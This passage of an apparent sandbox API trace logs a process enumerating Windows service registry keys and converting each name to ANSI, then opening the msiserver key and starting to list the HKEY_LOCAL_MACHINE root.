BaseAddress=0x21f19b8) returned 1 [0256.390] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.390] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.390] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.390] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.391] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.391] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.391] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.391] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0256.391] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.391] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0256.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0256.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0256.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0256.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0256.392] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0256.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0256.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0256.392] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0256.393] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0256.394] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0256.395] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0256.396] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0256.397] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0256.398] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0256.446] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0256.446] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0256.447] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0256.448] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0256.449] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0256.450] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0256.451] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0256.451] RegOpenKeyExW (in: hKey=0x148, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0256.452] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0256.452] RegCloseKey (hKey=0x148) returned 0x0 [0256.452] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.452] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, 